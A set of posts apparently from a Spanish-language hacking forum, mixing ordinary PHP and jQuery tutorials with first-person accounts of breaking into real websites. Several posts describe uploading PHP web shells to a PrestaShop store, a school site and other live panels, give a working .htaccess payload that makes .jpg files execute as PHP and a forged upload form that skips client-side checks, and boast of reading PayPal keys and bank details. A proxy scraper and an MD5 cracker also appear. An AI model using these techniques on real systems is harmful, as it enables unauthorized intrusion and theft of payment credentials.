            Ejemplo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (xt3mp.mx es la pass).

Una vez hecho ésto y comprobado que se ingresó correctamente a la base de datos, procedí a ir al panel de administración: http://[target].com/adminsys/ e ingresamos el correo y la contraseña.

Después de iniciar sesión en el sistema y ver que lo anterior había resultado, me entró otra incógnita: ¿cómo podré subir shell?. Como todo tipo de intento de subir shell a un servidor, comencé primero por encontrar algún uploader normal para tratar de subirla; el primero que busqué fué el de "añadir un nuevo producto".

Al intentar subir shell en dicho uploader me arrojó -como era de esperarse- que sólo permitía extensiones de imagenes (gif, jpg y png). Fué aquí donde mire la pestaña "adjuntos" y dije: ¡aquí lo lograré!; subí la shell y noté que sí guardaba el archivo en la carpeta downloads PERO sin extensión ya que lo renombraba con sha1 de la siguiente manera:


Por lo que al nosotros tratar de descargar el fichero (mediante el archivo attachment.php en la carpeta raíz), obtenía el código fuente del archivo sin extensión y lo descargaba (válgame la redundancia) con el nombre del fichero original almacenado en la columna file_name; y sí entrabamos directamente al fichero por la url con el hash sha1 del archivo no ejecutaba el PHP, sino lo mostraba como tal:


CitarSubir el archivo sin extensión y renombrando el mismo nos facilita a la hora de manejar cargas de ficheros ya que no nos enfocamos tanto en la seguridad de dicho módulo, por lo que aplaudo a PrestaShop ésta manera de lidiar con el problema de subir archivos no-deseados al servidor.

Para éste entonces ya se me habían agotado las ideas, inclusive llegue a pensar que me sería imposible obtener shell en la plataforma pero recordé haber visto un "bonito theme" en la página príncipal y dije: ¡JODER, COMO NO LO PENSE ANTES, SUBIRE UN THEME CON SHELL INCRUSTADA!, así que procedí a buscar algún módulo que me permitiera hacerme del sistema sin tanto lío.

Así que me fuí a la sección Módulos y a la sub-sección Temas encontrando lo que buscaba; al leer dicha sección me apareció ésto caído del cielo, metafóricamente hablando:


Por lo que dí click en Tema instalador e instale el módulo sin problema alguno; después apareció ésto y di click enconfigurar:


Ahora venía otro problema: encontrar algún theme simple que nos permitiera la encomienda de subir shell. Navegando por mi amigo Google encontre éste tema: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Lo descargué y simplemente lo abrí con winzip (no es necesario descomprimir el contenido) y arrastré mi shell a la carpeta themes/clean-simple/ quedando así:


Le di siguiente y bingo:


Al yo mirar éste diálogo, supuse que el archivo ya se había subido y como no quería instalarlo completamente, me fuí directamente a la carpeta themes y navegué hasta el theme que acababa de subir (themes/clean-simple/). Me redireccionó al index por obvias razones; el archivo index.php del tema tiene redirección, entonces entré por url directa: http://[target].com/themes/clean-simple/shell.php y obtuve lo siguiente:


Después de toda una travesía logré subir shell a la plataforma de PrestaShop, seguramente te preguntarás:¿Por qué querías shell en la plataforma si ya tenías otra shell en el mismo servidor?, pues las dos respuestas son las siguientes:

  • Como dije al inicio del post, estuve indagando en los archivos mediante symlink, ésto te permite visualizar el código fuente de todos los archivos, sin embargo, no te permite la manipulación de los mismos por lo que necesitaba shell en esa cuenta de hosting para manipular a mi antojo.
  • Y por última, y la respuesta que más peso tiene para mí es: porque para mí todo éste tipo de situaciones son un reto, y me gusta andar de curioso en las distintas plataformas; y más si son plataformas que nunca he utilizado.

Al final, después de un buen rato de lograr mi objetivo, no me conformé con tener acceso total a la cuenta, sino me dediqué a indagar en la base de datos y encontré cosas interesantes; como en la tabla ps_configuration, la cual contiene -por simple lógica- toda la configuración, y entre ésta configuración vienen keys de PayPal, del Banco (cuenta, clabe, etc):


Espero que ésta anécdota les sirva de algo, siempre hay maneras de hacer las cosas, simplemente hay que ser curiosos y dejar volar la imaginación.
#7
Back-end / Mostrar últimos comentarios de CuteNews
Abril 28, 2012, 05:02:21 PM
CuteNews es un sistema de gestión de noticias muy fácil de usar y de implementar en la mayoría de los proyectos a nivel web. Sin embargo, a la hora de tratar de mostrar los últimos comentarios se dificulta un poco por lo que he creado un pequeño "hack" para facilitar ésta tarea; claro, como todo script tiene algunos contras:

    Pro
        Muestra los comentarios a base de un template sumamente editable.
    Contra
        Se deberan mudar los comentarios manualmente.

Lo primero que debemos hacer es dirigirnos a la línea 95 del archivo show.inc.php de la carpeta inc y sustituír:

Código: php
$name = trim($name);
$mail = trim($mail);
$id = (int) $id;  // Yes it's stupid how I didn't thought about this :/


Por:

Código: php
$name = trim($name);
$namec = trim($name); #Don't edit this (at: Xt3mP)
$mail = trim($mail);
$id = (int) $id;  // Yes it's stupid how I didn't thought about this :/
$commentc = $comments; #Don't edit this (at: Xt3mP)


Después en la línea 342 (contando que ya modificamos lo anterior) agregamos:

Código: php
//============================
//   Last comments by Xt3mP
//============================
$newComments = @fopen('data/newComments.txt', 'a+');
@fwrite($newComments, $mail.'|'.$namec.'|'.$commentc.'|'.$id.'|'.$time."\r\n");
@fclose($newComments);


Con ésto sólo tendríamos el sistema que cada vez que se comente correctamente, abrirá el archivo newComments.txt en la carpeta data y agregará el comentario para posteriormente procesarlo y mostrarlo.

Ahora sólo queda crear el archivo show_comments.php en la raíz del sistema con el siguiente código PHP:

Código: php
<?php
/*
* Show comments from CuteNews 1.0
* Author: Xt3mP
* Author website: http://xt3mp.mx
* Contact: [email protected]
* Tested on: CuteNews 1.4.6
*/
//============================
//       Configuration
//============================
#Where do you've installed cutenews?
$basePath = 'http://localhost/projects/works/Habbostorm/noticias/';
#Where do you've the news show file?
$baseFile = 'show_news2.php';
#The show template
    #{url} = News' link
    #{comment} = The comment (oh really?)
    #{name} = The author
    #{date} = Time of the post
$template = '<a href="{url}">{name}</a>:
{comment} - {date}
';
#How many comments wanna show?
$maxComments = 6;
#How length need to be any comment?
$maxLenght = 10;
#The "hack" comment file {don't edit this}
#============================
#  Process {don't edit this}
#============================
$dataContent = file_get_contents('data/newComments.txt');
$comments = explode("\r\n", $dataContent);
$from = count($comments) - ($maxComments + 1);
$to = count($comments);
$showComments = array();
for($i = $from; $i < $to;  $i++) {   $newTemplate = $template; //Stupid fix?     $comment = explode('|', $comments[$i]);     if(!empty($comment[0]))     {       $newTemplate = str_replace('{url}', 'show_news2.php?subaction=showcomments&template=&id='.$comment[3].'&archive=&start_from=&ucat=', $newTemplate);         if(strlen($comment[2]) > $maxLenght)
            $newTemplate = str_replace('{comment}', htmlentities(substr($comment[2], 0, $maxLenght)).'...', $newTemplate);
        else
            $newTemplate = str_replace('{comment}', htmlentities($comment[2]), $newTemplate);
        $newTemplate = str_replace('{name}',  htmlentities($comment[1]), $newTemplate);
        $newTemplate = str_replace('{date}', date('d M Y h:i a', $comment[4]), $newTemplate);
        $showComments[] = $newTemplate;
    }
}
#Reverse array way
krsort($showComments);
#Print array
foreach($showComments as $comments)
    echo $comments;
?>


Con ésto sólo bastaría tener un iframe de la siguiente forma:

Código: html
<iframe src="show_comments.php" width="200" height"100"></iframe>


La forma de editar el template se basa en la línea 21 del archivo show_comments.php el cual puede ser de varias formas:

Código: php
$template = '<a href="{url}">{name}</a>:<br /> {comment} - {date}<br />';
$template = '<a href="{url}">{comment}</a>:<br /> {date}<br />';
$template = '<a href="{url}">{name}</a>:<br /> {comment}<br />';
$template = '<div id="comment"><div class="name"><a href="{url}">{name}</a>:</div><div class="comment">{comment}</div></div>';


Inclusive ustedes pueden agregar sus divs como en el último ejemplo. Para mudar los comentarios sólo deben seguir el formato:

Código: html
correo|autor|comentario|id_noticia|timestamp(tiempo)


y guardarlos en el archivo newComments.txt.

Es todo, cualquier duda, comentario o sugerencia comenten.
#8
Nota: Perdonen la voz pero tuve que fingirla un poco ya que mi voz normal es un tanto grave.


En este tutorial pretendo enseñar como crear un login y un registro básico con tecnología PHP y MySQL; pasando por los puntos más importantes a la hora de creación de un sitio con acceso de usuario.

Recordemos que solo es una base para la creación de un sistema de usuarios con base de datos.



Anotaciones:

Para evitar que se clonen usuarios así:

  • User 1: "Xt3mP"
  • User 2: "Xt3mP "
    Notemos que al final del segundo usuario tenemos un espacio (" ") en blanco, así que para evitar esto utilizarémos la función trim() la cual elimina los espacios:

    También podemos utilizar la función strlen() para contar los carácteres ingresados:

    Link de descarga de archivos: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#9
A veces nos vemos en la necesidad de utilizar imágenes externas pero por x  o por y motivos es imposible emplearlas en nuestros sitios web ya que la seguridad o la configuración de donde esta alojada la imagen ha desactivado la accesibilidad mediante el archivo .htaccess (generalmente) o porque el hosting en cuestión a veces no esta en "la nube" haciendo que nuestra página quede con un mal terminado ya que dependemos de imagenes externas (válgame la redundancia).

Entonces, lo más coherente sería descargar las imagenes para no depender de páginas externas que como ya expliqué anteriormente, algún día sin previo aviso pueden dejarnos tirados; y para ello utilizarémos el lenguaje PHP y cURL (librería para trabajar con servidores):

Código: php
<?php
/*
* Descargar imagenes externas con PHP y cURL
* Xt3mP
* [email protected]
*/
function descargarImagen($urlImagen, $target, $directorioBase)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $urlImagen);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $imagen = curl_exec($ch);
    curl_close($ch);
    $archivo = @fopen($directorioBase.$target, 'w');
    if($archivo)
    {
        echo 'La imagen '.basename($urlImagen).' ha sido descargada a '.$directorioBase.$target;
        @fwrite($archivo, $imagen);
        @fclose($archivo);
    }else{
        echo 'La imagen '.basename($urlImagen).' no se ha sido podido descargar';
    }
}
descargarImagen('http://xt3mp.mx/wp-content/themes/Polished/images/logo.png', 'miimagen.png', './galeria/');
?>


Lo que hacemos príncipalmente es iniciar una sesión de cURL y se la asignamos a la variable ch, después agregamos la configuración:

  • CURLOPT_URL: Dirección URL en cuestión.
  • CURLOPT_HEADER: Header en cuestión (lo cambiamos a false ya que viene true por default).
  • CURLOPT_RETURNTRANSFER: Devolvemos el resultado en string (lo cambiamos a true ya que viene false por default).
    Al final, le asignamos a la variable imagen el resultado de la petición cURL para posteriormente abrir la nueva imagen tomando en cuenta los parámetros que le pasamos a la función descargarImagen:

  • urlImagen: URL de la imagen en cuestión.
  • target: Nombre de imagen.
  • directorioBase: Directorio donde se guardará la imagen en cuestión.

    Luego de esto, el script mostrará un mensaje de success o de failure, según sea el caso. Esta función se deberá hacer manual para cada cada imagen que deseemos descargar por lo que me tome la libertad de hacer una función un poco más compleja que te permite descargar imágenes juntas con el nombre original o el asignado:

    Código: php
    <?php
    /*
    * Descargar imagenes externas con PHP y cURL
    * Xt3mP
    * [email protected]
    */
    function descargarImagen($urlImagenes, $noRepetir = true, $directorioBase, $prefijo = null)
    {
        foreach($urlImagenes as $id => $urlImagen)
        {
            $counter = 1;
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $urlImagen);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $imagen = curl_exec($ch);
            curl_close($ch);
            $nombreDearchivo = $prefijo.basename($urlImagen);
            if($noRepetir === true && @file_exists($directorioBase.$nombreDearchivo))
            {
                echo 'La imagen '.basename($urlImagen).' ya existe en '.$directorioBase.$nombreDearchivo.'<br />';
            }else{
                $infoDearchivo = pathinfo($urlImagen);
                while(@file_exists($directorioBase.$nombreDearchivo))
                {
                    $nombreDearchivo = $prefijo.$infoDearchivo['filename'].$counter.'.'.$infoDearchivo['extension'];
                    $counter++;
                }
                $archivo = @fopen($directorioBase.$nombreDearchivo, 'w');
                if($archivo)
                {
                    echo 'La imagen '.basename($urlImagen).' ha sido descargada a '.$directorioBase.$nombreDearchivo.'<br />';
                    @fwrite($archivo, $imagen);
                    @fclose($archivo);
                }else{
                    echo 'La imagen '.basename($urlImagen).' no se ha sido podido descargar.<br />';
                }
            }
        }
    }
    $urlImagenes = array(
                    'http://xt3mp.mx/wp-content/themes/Polished/images/logo.png',
                    'http://xt3mp.mx/wp-content/themes/Polished/images/logo.png',
                    'http://xt3mp.mx/wp-content/themes/Polished/images/logo.png',
                    'http://xt3mp.mx/wp-content/themes/Polished/images/logo.png'
    );
    descargarImagen($urlImagenes, true, './galeria/', 'xt3mp_');
    ?>


    En este caso recibimos 4 (cuatro) parámetros:

  • urlImagenes: Contiene las direcciones de las imagenes mediante un array.
  • noRepetir: Viene en true determinadamente; cambiarlo a false si se requiere que se guarden las imagenes aunque ya existan pero con diferente nombre (ej: foto1.png, foto2.png, foto3.png, fotox.png).
  • directorioBase: Directorio donde se guardará la imagen en cuestión.
  • prefijo: Prefijo para cada imagen (ej: xt3mp_foto1.png); no es obligatorio (dejarlo vacío si no se requiere).
    Y bueno, con esto ya podrían descargar cómodamente sus imágenes externas y guardarlas en la carpeta que mejor lo crean conveniente.
#10
Es muy común que nos encontremos con sitios webs que tienen un panel de administración junto con un image uploader mal programados haciendo esto que la seguridad del sitio en cuestión quede totalmente en riesgo; por un lado, el no tener buena certificación de las sesiones nos permite navegar por todo el panel administrativo sin restricción alguna y el tener un "image uploader" mal programado nos facilita la tarea a la hora de intentar subir una shell al servidor para tener acceso completo al servidor (o al menos, de la página en cuestión).

Entonces, navegando por Google en busca de un image uploader me encontré con uno de estos paneles en cuestión; al inicio de el directorio nos encontramos con un archivo llamado login.php, el cual, como su nombre lo dice, es el encargado de darnos acceso al panel de administración:


A simples intentos no tenía Blind SQLi ni otras vulnerabilidades parecidas; pero... ¿válida la sesión de los demás archivos correspondiente a la de un administrador?, en este caso: ¡no!, continuando la búsqueda en Google nos encontramos con un archivo .php del panel de administrador indexado que al entrar simplemente nos daba acceso total sin sacarnos por no tener la sesión adecuada:


Código: php
<?php /*?><?php
session_start();
if ($_SESSION['k_admin']<>1) {

echo '<SCRIPT LANGUAGE="javascript">
location.href = "index.php";
</SCRIPT>';
}
?><?php */?>


Acá tenemos dos opciones: o alguien accedió antes que yo al servidor y quito la comprobación de sesión (muy, muy dudable) o simplemente el administrador del sitio creeyó que al tener el script en varios paths no se indexaría en los buscadores pensando así que no correría ningún riesgo; opto más por la segunda opción.

Siguiendo con el script, podemos notar que se trata de un image uploader el cual, como todo curioso, procedemos a subir desde el primer intento nuestra shell.php y ¿qué obtenemos?, que efectivamente la subió correctamente puesto que la validación del tipo de archivo en cuestión es incorrecta o simplemente, no fue programada de una manera adecuada.

Despúes entra otra cuestión: ¿en dónde se subió la shell?, revisamos por Live Headers y no se mira hacia donde hace referencia, entonces recurrimos a subir otra imagen en el mismo image uploader y al mostrarnos la información (segunda imagen) damos click derecho en la imagen y ver imagen quedandonos de la siguiente manera:

Citarhttp://web/path/path/imagen.jpg

Al intentar acceder al directorio para revisar si efectivamente esta ahí nos encontramos con que tiene seguridad para no mostrar los "Index Of" al no tener un index la carpeta, por lo que a cuestión de suerte (y con dedos cruzados) cambiamos imagen.jpg (nombre de la imagen en cuestión) por shell.php y bingo, tenemos acceso total al hosting (ya después, se puede proceder a escalar privilegios pero esa es otra historia):


¿Qué quiero decir con esto?, que a veces siendo "curiosos" nos encontramos con scripts mal programados que nos facilitan la tarea a la hora de intentar acceder a un sitio.

P.D.: Ningún archivo fué tocado o eliminado (ha excepción de los archivos vulnerables).
P.D.2: Se parchó (se descomentó) la sesión por lo que si no tienes sesión activa, no te permite navegar en el panel de administración.
#11
Nota: Algunas líneas del código de la página en cuestión fueron editadas para poder hacer esta prueba de concepto.

Como expliqué en la entrada pasada (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta), es muy común encontrarnos con sitios mal válidados pero en esta ocasión nos enfocaremos exclusivamente en nuestro image uploader sin necesitar de una sesión de administrador para poder explotarla.

Generalmente un uploader comprueba que el archivo en cuestión sea una imagen, pero por el otro lado, algunos uploaders comprueban que no se traten de extensiones en específico; aunque desde PHP 5+ ya no se puede fácilmente subir shell utilizando nombres como shell.jpg.txt.php puesto que con la función pathinfo() te regresa solamente la extensión, es decir, aunque tu archivo sea shell.jpg.txt.php.png.php, utilizando la función anteriormente mencionada te regresará php (en este caso).

Un bypass común consiste en modificar las cabeceras (comúnmente el content-type) mediante plugins, scripts o programas que hacen creer al servidor que se trata de una imagen cuando en realidad es una aplicación PHP; pero este tipo de bypass al ser tan conocido y con la función anterior (pathinfo()), ha sido parchado y es más difícil de bypassear por lo que recurriremos a otra técnica que seguro más de uno ya la conoce: shell.jpg con directivas de .htaccess.

En esta ocasión nos encontramos con una página que tiene como fin una comunicación entre alumno y profesor en donde el alumno sube tareas y el profesor las revisa, o el profesor sube trabajos y el alumno los descarga (quiero creer que por eso la validación de archivos es prácticamente nula):


Testeando en primera instancia al intentar subir shell.php nos encontramos con que filtra las variables regresandonos el siguiente error:
CitarExtensión php no permitida.
Por lo tanto procedemos a subir shell.jpg y notamos que la sube sin ningún problema:


Intentamos a ver si de casualidad con Live Headers nos permite subir la shell y nos regresa el mismo error:
CitarExtensión php no permitida.

Continuamos a buscar donde alojó la shell.jpg y nos encontramos con el mensaje que es obvio:
CitarNo se puede mostrar la imagen "http://web/path/path/shell.jpg" porque contiene errores.

Acá es donde entra el .htaccess; nosotros sabemos de antemano que shell.jpg es una aplicación PHP bajo la extensión de una imagen y que con .htaccess podemos agregar directivas para que la extensión .jpg la interprete como .php quedando así (recuerda guardarlo como .htaccess):

Código: .htacces
RemoveHandler .jpg
AddHandler application/x-httpd-php .jpg
AddType application/x-httpd-php .jpg


Procedemos a subirlo (y cruzamos dedos para que nos lo permita):


Ahora nos dirigímos a donde se subió la shell.jpg anteriormente y:


P.D.: Ningún archivo fué tocado o eliminado (ha excepción de los archivos vulnerables).
P.D.2: En algunos servidores será más difícil decirle las directivas .htaccess puesto que pueden estar desactivadas (como en este caso, en la página uno no permitía por lo que se siguió con el PoC en una segunda página para explicar el concepto), así que no se desesperen.
#12
Estamos en una época en donde utilizar tecnología dinámica (refiriendome a programación; como lo es JavaScript, entre otros) hace que un sitio se posicione entre los favoritos por la interacción en tiempo real entre cliente > servidor < cliente. Algo de lo más notorio de lo anterior mencionado es que trae consigo mismo un enfoque en la seguridad a nivel cliente dejando de lado la seguridad a nivel servidor (cosa que es terriblemente riesgoso). Esta ocasión me encontré con un uploader de imagenes que no permitía subir ningún archivo; y no porque validará la extensión, si no que utiliza funciones natas de PHP que hacen que la operación de cargar el archivo sea incorrecta:



A primera instancia notamos (como ya mencione) que no valida la extensión del archivo por lo que si no existieran esas funciones tendríamos desde ya nuestra shell arriba; por otro lado, notamos que hace referencia al archivo upload_.php que en realidad no nos sirve de nada por lo que procedemos buscando algo que nos sea útil. Generalmente, estos uploaders no tienen un .htaccess o un index que restringa el listado de archivos, es decir, quedan al descubierto los demás archivos encontrandonos así con el resto de los archivos del servidor (al menos los de la carpeta en cuestión); navegando por dichos archivos notamos que existe otro uploader más pero este es para archivos .mp3:


Intentando subir la shell en extensión .php (como lo hemos estado intentando hasta ahorita) notamos que nos regresa en tiempo real un error de la siguiente manera ya que valida la extensión del archivo:


A simple vista nos damos cuenta que se trata de algún lenguaje dinámico, como lo es JavaScript por lo que procedí a revisar el código fuente y nos encontramos con la siguiente función:

Código: javascript
function validar() {
var archivo = document.SubirMp3.mp3.value;
extensiones_permitidas = new Array(".mp3", ".wma");
mierror = "";

if (!archivo) {
//Si no tengo archivo, es que no se ha seleccionado un archivo en el formulario
mierror = "No has seleccionado ningún archivo";
}else{
//recupero la extensión de este nombre de archivo
extension = (archivo.substring(archivo.lastIndexOf("."))).toLowerCase();
//alert (extension);
//compruebo si la extensión está entre las permitidas
permitida = false;
for (var i = 0; i < extensiones_permitidas.length; i++) {
if (extensiones_permitidas[i] == extension) {
permitida = true;
break;
}
}
if (!permitida) {
mierror = "Compruebe la extensión del archivo de sonido seleccionado. \nSólo se pueden subir archivos con extension: " + extensiones_permitidas.join();
}else{
//submito!
SubirMp3.submit();
return true;
}
}
//si estoy aqui es que no se ha podido submitir
alert (mierror);
return false;

}


Notamos que nos valida la extensión tomando de referencia el último punto (.) por lo que si intentamos subir shell.mp3.php sería inútil, revisando el resto del código fuente notamos que hace referencia a otro archivo .php que es el encargado de procesar el archivo en cuestión, y esto era de esperarse, ya que en el uploader anterior también hacia referencia a otro archivo.

Es aquí donde entra el ingenio para saltarse la protección en JavaScript, aclaro que todavía no estaba seguro si subiría la shell porque creí que tenía también comprobación en PHP.

Lo que hicimos fue abrir un documento de texto (en cualquier editor) y simular el formulario original quedándonos de esta manera:

Código: html
<form action="http://web/path/path/uploadmp3_.php" method="POST" ENCTYPE="multipart/form-data" onSubmit="return validar()">
<input name="mp3" type="file"><input name="submit" type="submit" value="Enviar"></FORM>


Después, cargamos la shell como archivo (al dar click en el file loader) y presionamos Enviar; como en este caso no existe ninguna función validar() que al dar click al ítem submit nos regresa true porque no hay nada que impida que el formulario se envíe a el target indicado, y ¿qué resultado obtenemos?, que en este caso no valida la extensión por PHP haciendo que esto sea posible:


Por lo tanto, mi recomendación es que si quieren ser parte de estos sitios bonitos, no solo comprueben la seguridad a nivel cliente, si no también a nivel servidor.

Nota: Para hacer esto más sencillo también basta con enviar cabeceras (y el archivo en ellas) o desactivar JavaScript directamente:


P.D.: Ningún archivo fué tocado o eliminado (ha excepción de los archivos vulnerables).
#13
Front-end / [JQuery][BASICO] Permitir solo numeros
Abril 20, 2012, 02:35:13 AM
A veces por cuestiones de la vida nos vemos en la situación de validar que caracter es ingresado permitiendo sólo así el ingreso de caracteres numéricos. Existen muchas maneras de lograrlo pero en mi caso, lo necesario era que en cuanto el visitante presione una tecla, validarla en tiempo real para solo permitir los caracteres que queremos; en éste caso, numéricos.

Haremos uso del evento keydown tomando como evento el caracter presionado pero antes, por cuestiones de eficacia y porque seguramente necesitamos usarlo en varios input/textarea, le asignaremos una clase de esta manera:

Código: html5
<input class="validar" type="text" name="casilla_1" />
<input class="validar" type="text" name="casilla_2" />


Ahora agregaremos el evento de la siguiente manera:

Código: javascript
$(function(){
    $(".validar").keydown(function(event){
        if(event.keyCode < 48 || event.keyCode > 57){
            return false;
        }
    });
});


Con esto nos bastaría para solo permitir números aunque con IE8 tuve problemas. Y respecto a qué hacemos, pues fácil. Mandamos mediante "event" la tecla pulsada y la comparamos con su "char key code". Los podemos encontrar en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Hay otras formas de hacer lo mismo, por ejemplo, utilizando isNaN (is not a number). Todo varia dependiendo la experiencia de cada programador aunque sinceramente a esto no le veo mucha ciencia así que espero que haya sido de utilidad aunque sea un poco, ya que estoy seguro que al menos una vez en la vida necesitaremos validar caracteres numéricos dejando de lado PHP, ASP, etc.
#14
Bugs y Exploits / PROXYgetter
Abril 16, 2012, 04:02:31 AM
PROXYgetter es una herramienta en PHP la cual fue inspirada en la herramienta de Dedalo en python, es decir, el mecanismo es diferente pero la idea principal fue tomada de dicho script.




Actualmente consta de dos páginas donde obtengo los proxys:
  • No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
  • No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


    Funcionamiento
    El mecanismo es sumamente fácil; mediante expresiones regulares obtengo una lista de proxys a los cuales mediante sockets compruebo el tiempo de conexión para solo mostrar los que el usuario requiera ya que tiene un sistema de personalización.


  • Max. pages (1-5): Se puede ingresar un número del 1 al 5 tomando de referencia que la página No tienes permitido ver los links. Registrarse o Entrar a mi cuenta solo tiene 5 páginas.
  • Timeout: El tiempo máximo de espera.
  • Show all results: Sirve para mostrar resultados tanto positivos como negativos.
  • Stop processing if there's X positive matches: Indicamos cuantos proxys correctos debe haber para detener la carga del script; 0 significa todos.


    Código: php
    <?php
    /*
    * Name: PROXYgetter
    * Author: Xt3mP
    * Contact: xt3mp[at]null[dot]net
    * Bugs: xt3mp[at]null[dot]net
    * Personal website: http://xt3mp.mx
    * Website: http://backroot.org
    * Version: 1.0 BETA
    */
    ob_implicit_flush();
    set_time_limit(0);
    ?>
    <!DOCTYPE html>
    <html>
    <head>
    <title>PROXYgetter v1.0 [Xt3mP]</title>
    <style type="text/css">body{background-color:#000;color:#FFF;font-family:"Courier New";font-size:14px}div#container{background-color:#151515;border:1px dashed #FFF;margin:0 auto;padding:5px;text-align:center;width:800px}input{font-family:"Courier New";text-align:center}h1{border-bottom:1px dashed #FFF;border-top:1px dashed #FFF;margin:0 0 5px;padding:0}p{border-top:1px dashed #FFF;margin:5px 0 0;padding:0}a{color:lime;text-decoration:none}a:hover{color:#FFF}.result{border-top:1px dashed #FFF}</style>
    </head>
    <body>
    <div id="container">
    <pre>
    ______  ______  _______  ___ ___  ___ ___                __    __PROXYgetter v1.0
    |   __ \|   __ \|       ||   |   ||   |   |.-----..-----.|  |_ |  |_ .-----..----.
    |    __/|      <|   -   ||-     -| \     / |  _  ||  -__||   _||   _||  -__||   _|
    |___|   |___|__||_______||___|___|  |___|  |___  ||_____||____||____||_____||__|
                                               |_____|             Powered By Xt3mP
                                                                 xt3mp[at]null[dot]net
    </pre>
            <h1>Free proxys for you</h1>
            <form action="" method="POST">
                    For each page, the script tries to verify the connection of 50 proxys.<br />
                    Max. pages (1-5): <input type="text" name="pages" value="5" size="1" maxlength="1"> -
                    Timeout: <input type="text" name="timeout" value="1" size="1" maxlength="1"><br />
                    Show all results: <select name="show"><option value="no">No</option><option value="yes">Yes</option></select><br />
                    Stop processing if there's <input type="text" name="stop" value="0" size="2" maxlength="2"> positive matches<br />
                    <font color="red">[0: All]</font><br />
                    <input type="submit" name="get" value="Give me proxys for free!">
            </form>
            <?php
            if(isset($_POST['get']))
            {
                    echo '<div class="result">';
                    $proxyList = array();
                    $pages = (!is_numeric($_POST['pages']) or $_POST['pages'] < 1 or $_POST['pages'] > 5) ? 5 : abs($_POST['pages']);
                    $timeOut = (!is_numeric($_POST['timeout'])) ? 5 : abs($_POST['timeout']);
                    $show = ($_POST['show'] != 'no' && $_POST['show'] != 'yes') ? 'yes' : $_POST['show'];
                    $stop = ($_POST['stop'] == 0 or !is_numeric($_POST['stop']) or $_POST['stop'] > 50) ? 'all' : abs($_POST['stop']);
                    $counter = 0;
                    $quit = false;
                    #This section of the code
                    #is for proxys.com.ar
                    for($i = 0; $i <= $pages; $i++)
                    {
                            if($quit)
                            {
                                    break;
                            }else{
                                    $web = ($i == 0) ? 'http://www.proxys.com.ar/' : 'http://www.proxys.com.ar/index.php?act=list&port=&type=&country=&page='.$i;
                                    $webContent = @file_get_contents($web);
                                    $_pattern1 = "/<tr class=\"cells\" onmouseover=\"this\.className='cells2'\" onmouseout=\"this\.className='cells'\">(.*?)<\/tr>/is";
                                    $pregMatch = @preg_match_all($_pattern1, $webContent, $proxyData, PREG_SET_ORDER);
                                    for($x = 0; $x<count($proxyData); $x++)
                                    {
                                            $_pattern2 = "/<td>(.*)<\/td>/i";
                                            $pregMatch = @preg_match_all($_pattern2, $proxyData[$x][1], $proxyConnect, PREG_SET_ORDER);
                                            $proxyIp = $proxyConnect[0][1];
                                            $proxyPort = $proxyConnect[1][1];
                                            $proxyCountry = $proxyConnect[3][1];
                                            $proxyTarget = $proxyIp.':'.$proxyPort;
                                            $fp = @fsockopen($proxyIp, $proxyPort, $errno, $errstr, $timeOut);
                                            if($fp)
                                            {
                                                    if(!in_array($proxyTarget, $proxyList))
                                                    {
                                                            $counter++;
                                                            array_push($proxyList, $proxyTarget);
                                                            echo '<font color="lime">'.$proxyTarget.' > '.$proxyCountry.'</font><br />';
                                                            if($counter == $stop)
                                                            {
                                                                    $quit = true;
                                                                    break;
                                                            }
                                                    }
                                            }elseif(!$fp && $show == 'yes'){
                                                    echo '<font color="red">'.$proxyTarget.' > '.$proxyCountry.'</font><br />';
                                            }
                                    }
                            }
                    }
                    #This section of the code
                    #is for xroxy.com
                    if(!$quit)
                    {
                            $latency = $timeOut * 1000;
                            $web = 'http://www.xroxy.com/proxylist.php?port=&type=&ssl=&country=&latency='.$latency.'&reliability=#table';
                            $webContent = @file_get_contents($web);
                            $_pattern1 = "/<tr class='row[(1|0){1}]'>(.*?)<\/tr>/is";
                            $pregMatch = @preg_match_all($_pattern1, $webContent, $proxyData, PREG_SET_ORDER);
                            for($i=0; $i<count($proxyData); $i++)
                            {
                                    $_pattern2 = "/<td[( nowrap='nowrap'>|>)?](.*?)<\/td>/s";
                                    $pregMatch = @preg_match_all($_pattern2, $proxyData[$i][1], $proxyConnect, PREG_SET_ORDER);
                                    $proxyIp = @preg_replace("/\s/", '', $proxyConnect[1][1]);
                                    $proxyPort = $proxyConnect[2][1];
                                    $proxyCountry = str_replace("nowrap='nowrap'>", "", $proxyConnect[5][1]);
                                    $proxyTarget = $proxyIp.':'.$proxyPort;
                                    echo '<font color="lime">'.$proxyTarget.' > '.$proxyCountry.'</font><br />';

                            }
                    }
                    //echo count($proxyList).' matches.';
                    echo '</div>';
            }
            ?>
            <p>Coded by <a href="http://xt3mp.mx">Xt3mP</a> for <a href="http://backroot.org">backroot.org</a></p>
    </div>
    </body>
    </html>



    Proof:


    Nota: Los proxys devueltos fueron testeados en Mozilla, además, el script es un poco simple.


    Saludos.
#15
Bugs y Exploits / HASHorator [MD5 cracker]
Abril 16, 2012, 03:58:23 AM
HASHorator es una aplicación que programé ya hace un tiempo en PHP la cual tiene como fin tratar de decifrar por manera inversa a base de otras páginas con base de datos de hash anteriormente creados para tratar de encontrar un match.


Por el momento cuenta con 13 páginas sin dejar a un lado la opción de meter un diccionario, a continuación explico un poco más las características de este pequeño pero útil script:




Select cipher type/Seleccionar tipo de cifrado:
  • MD5 ($pass)
  • SHA1 ($pass)
  • SMF ($salt.$pass)
    Put HASH/Ingresar HASH:
  • Mediante expresiones regulares se puede tratar de comprobar que el hash ingresado sea el correcto ([a-f0-9]{long}).
    Put SALT/Ingresar SALT:
  • Opción solo disponible para SMF
    Dictionary/Diccionario:
    Opción disponible para los 3 tipos de cifrados, en la variable $max se especifica el máximo de palabras por diccionario.
  • Stop processing if there's a positive match/Parar el procesamiento al primer resultado positivo:
    Opción para detener el script al primer resultado positivo; esto puede acelerar el tiempo de ejecución del script (recomendable).


